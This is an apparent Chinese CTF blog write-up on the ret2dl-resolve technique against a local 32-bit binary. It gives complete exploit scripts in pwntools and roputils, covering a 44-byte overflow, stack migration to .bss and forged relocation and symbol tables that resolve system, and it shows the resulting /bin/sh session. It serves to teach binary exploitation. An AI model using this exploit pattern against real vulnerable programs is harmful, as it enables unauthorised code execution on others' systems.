Ret2dlresovle And Roputils

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  vuln();
  return 0;
}

ssize_t vuln()
{
  char buf; // [esp+0h] [ebp-28h]

  return read(0, &buf, 0x100u);
}

可利用函数就差不多就只有read,无后门

gdb==>溢出点为44

checksec

hunter@hunter:~/PWN/Freebuf/test4$ checksec 0pwn
[*] '/home/hunter/PWN/Freebuf/test4/0pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
hunter@hunter:~/PWN/Freebuf/test4$ 

EXP(栈迁移)

from pwn import*

context.log_level = 'debug'

sh = process('./0pwn')

elf = ELF('0pwn')
rop = ROP(elf)

bss_addr = elf.bss()
base_stage = bss_addr + 0x600
alarm_got = elf.got['alarm']
rel_plt_addr = 0x804833c
dynsym_addr = 0x80481dc
dynstr_addr = 0x804827c

rop.raw('A'*44)
rop.read(0,base_stage,100)
rop.migrate(base_stage)

sh.sendline(rop.chain())

这一部分可以完成栈迁移,rop.migrate(base_stage)迁移至base_stage处

pwntools rop模块

先简单回顾一下ROP的原理,由于NX开启不能在栈上执行shellcode,我们可以在栈上布置一系列的返回地址与参数,这样可以进行多次的函数调用,通过函数尾部的ret语句控制程序的流程,而用程序中的一些pop/ret的代码块(称之为gadget)来平衡堆栈。其完成的事情无非就是放上/bin/sh,覆盖程序中某个函数的GOT为system的,然后ret到那个函数的plt就可以触发system(‘/bin/sh’)。由于是利用ret指令的exploit,所以叫Return-Oriented Programming。(如果没有开启ASLR,可以直接使用ret2libc技术)
好,这样来看,这种技术的难点自然就是如何在栈上布置返回地址以及函数参数了。而ROP模块的作用,就是自动地寻找程序里的gadget,自动在栈上部署对应的参数。

+call(resolvable, arguments=()) : 添加一个调用,resolvable可以是一个符号,也可以是一个int型地址,注意后面的参数必须是元组否则会报错,即使只有一个参数也要写成元组的形式(在后面加上一个逗号)
+chain() : 返回当前的字节序列,即payload
+dump() : 直观地展示出当前的rop chain
+raw() : 在rop chain中加上一个整数或字符串
+search(move=0, regs=None, order=’size’) : 按特定条件搜索gadget
+unresolve(value) : 给出一个地址,反解析出符号
+rop.migrate(addr):栈迁移到addr

设置rop chain对象 此处为0pwn程序。设置完后rop里面是空的(相当于payload)

In [2]: elf = ELF('0pwn')
[*] '/home/hunter/PWN/Freebuf/test4/0pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

In [3]: rop = ROP(elf)
[*] Loaded cached gadgets for '0pwn'

rop.raw()

In [8]: rop.raw('A'*60)

In [9]: rop.chain
Out[9]: <bound method ROP.chain of ROP([ELF('/home/hunter/PWN/Freebuf/test4/0pwn')])>

In [10]: rop.chain()
Out[10]: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

In [11]: len('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
Out[11]: 60

In [12]: 

rop.migrate(addr)

rop.raw('A'*44)
rop.read(0,base_stage,100)  #调用完read后,用migrate进行栈迁移
rop.migrate(base_stage)  

EXP(伪造)

...
sh.sendline(rop.chain())

plt0 = 0x8048380
index_off = base_stage +28 - rel_plt_addr
fake_dynsym_addr = base_stage+36
align = 0x10 - (fake_dynsym_addr - dynsym_addr)&0xf
fake_dynsym_addr += align
r_off = (fake_dynsym_addr - dynsym_addr)/0x10
r_info = (r_off << 8)|0x7
st_name = fake_dynsym_addr+16 - dynstr_addr
fake_dynsym_tab = p32(st_name) + p32(0) + p32(0) + p32(0x12)
fake_reloc_tab = p32(alarm_got) + p32(r_info)

cmd = '/bin/sh\x00'

rop = ROP(elf)
rop.raw(plt0)
rop.raw(index_off)
rop.raw('BBBB')
rop.raw(base_stage+82)
rop.raw('B'*(28-len(rop.chain())))
rop.raw(fake_reloc_tab)
rop.raw('B'*align)
rop.raw(fake_dynsym_tab)
rop.raw('system\x00')
rop.raw('B'*(82-len(rop.chain())))
rop.raw(cmd)
rop.raw('B'*(100-len(rop.chain())))
#gdb.attach(sh)
sh.sendline(rop.chain())
sh.interactive()

align

align的作用是帮fake_dynsym_addr进行对齐,我们仔细说说:

假设内存布局是这样的

如果fake_dynsym_addr直接等于base_stage+36。base_stage+36可以是下面的任何一个位置
0x8048a00 11111111 22222222 33333333 44444444   dynsym起始位置
0x8048a10 11111111 22222222 33333333 44444444   如果base_stage+36是0x8048a18(33333333)那么就不符合结构体对dynsym的单表16字节大小的设定,所以fake_dynsym_addr
0x8048a20 11111111 22222222 33333333 44444444   只能是开头地址
0x8048a30 11111111 22222222 33333333 44444444
0x8048a40 11111111 22222222 33333333 44444444
0x8048a50 11111111 22222222 33333333 44444444
0x8048a60 11111111 22222222 33333333 44444444
0x8048a70 11111111 22222222 33333333 44444444
0x8048a80 11111111 22222222 33333333 44444444

得到开头地址的计算方法为:align=0x10 - (fake_dynsym_addr - dynsym_addr)&0xf ,比如这个例子:fake_dynsym_addr==0x8048a18 ,dynsym_addr==0x8048a00 ==>> align=0x8

>>> 0x10 - ((0x8048a88 - 0x8048a00) & 0xf) 
8

fake_dynsym_addr += align ==>> 0x8048a18 + 0x8 == 0x8048a20 处于开头位置

结果

[*] Switching to interactive mode
[DEBUG] Received 0x1a bytes:
    '/bin/sh: 1: aa: not found\n'
/bin/sh: 1: aa: not found
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x7c bytes:
    '0pwn\t exp2.py\t\tpeda-session-dash.txt\n'
    '0pwn.py  exp.py\t\t\tpeda-session-ls.txt\n'
    'core\t peda-session-0pwn.txt\tpeda-session-pwn.txt\n'
0pwn     exp2.py        peda-session-dash.txt
0pwn.py  exp.py            peda-session-ls.txt
core     peda-session-0pwn.txt    peda-session-pwn.txt
[*] Got EOF while reading in interactive
$  

这个aa的出现是因为pwntools自带对齐字符串,补a(具体怎么补我也不是很清楚)

小结
这种类型题中间的构造部分完全可以不理,也就是rop链构造和表得到构造部分,可以直接复制黏贴中间部分拿去打别的题目

Roputils

从上面攻击脚本我们不难看出来,虽然构造payload的过程很繁琐,但是实际上大部分代码的格式都是固定的,完全可以自己把它们封装成一个函数进行调用,Roputils工具就是用来干这个的。
这个工具功能挺强大的但是,没有文档说明我就学了点针对ret2dl-resolve的代码。
详情见:https://github.com/inaz2/roputils

拿上面那个题为例子:把roputils.py和pwn题放在同一个文件夹下(我不会把它导入python模块)来使用

EXP

#为了防止命名冲突,这个脚本全部只使用roputils中的代码。如果需要使用pwntools中的代码需要在import roputils前import pwn,以使得roputils中的ROP覆盖掉pwntools中的ROP
from roputils import*

rop = ROP('./0pwn')   #ROP继承了ELF类,下面的section, got, plt都是调用父类的

bss_addr = rop.section('.bss')  #获取bss地址
read_got = rop.got('read')   #获取read_got地址
read_plt = rop.plt('read')   #获取read_plt地址

offset = 44  #溢出点

sh = Proc('./0pwn')  #Proc(host='111.11.1.1',port=10000) 相当于remote

buf = rop.fill(offset)   #fill生成pad
buf += rop.call(read_plt,0,bss_addr,0x100)  #call:利用上面获得的read plt地址再次调用
buf += rop.dl_resolve_call(bss_addr+0x20,bss_addr) #dl_resolve_call有一个参数base和一个可选参数列表*args。base为伪造的link_map所在地址,*args为要传递给被劫持调用的函数(system)的参数。
                                                    #这里我们将"/bin/sh\x00"放置在bss_addr处,link_map放置在bss_addr+0x20处

sh.write(buf) #数据发送

buf = rop.string('/bin/sh') #此时buf == '/bin/sh\x00'
buf += rop.fill(0x20,buf)  #fill第二个参数被指定,就是将其填充至指定长度
buf += rop.dl_resolve_data(bss_addr+0x20,'system')   ##dl_resolve_data的参数也非常简单,第一个参数是伪造的link_map首地址,第二个参数是要伪造的函数名
buf += rop.fill(0x100,buf) #填充buf

sh.write(buf)

sh.interact(0) #设置为0即可

结果:

hunter@hunter:~/PWN/Freebuf/test4$ python 0pwn_1.py
got a shell!
ls
0pwn
0pwn_1.py
0pwn.py
core
exp2.py
exp.py
peda-session-0pwn.txt
peda-session-dash.txt
peda-session-ls.txt
peda-session-pwn.txt
roputils.py
roputils.pyc

  转载请注明: Squarer Ret2dlresovle And Roputils

 上一篇
XCTF-CHALLENGE-DICE_GAME XCTF-CHALLENGE-DICE_GAME
IDA主函数: __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char buf[55]; // [rsp+0h] [rbp-50h] char v5; //
2020-08-19
下一篇 
Ret2dlresolve原理理解 Ret2dlresolve原理理解
延迟绑定技术因为程序分为静态链接跟动态链接,因为好多库函数在程序中并不一定都用到,所以在处理动态链接程序的时候,elf文件会采取一种叫做延迟绑定(lazy binding)的技术,也就是当我们位于动态链接库的函数被调用的时候,编译器才会真正
2020-08-17
  目录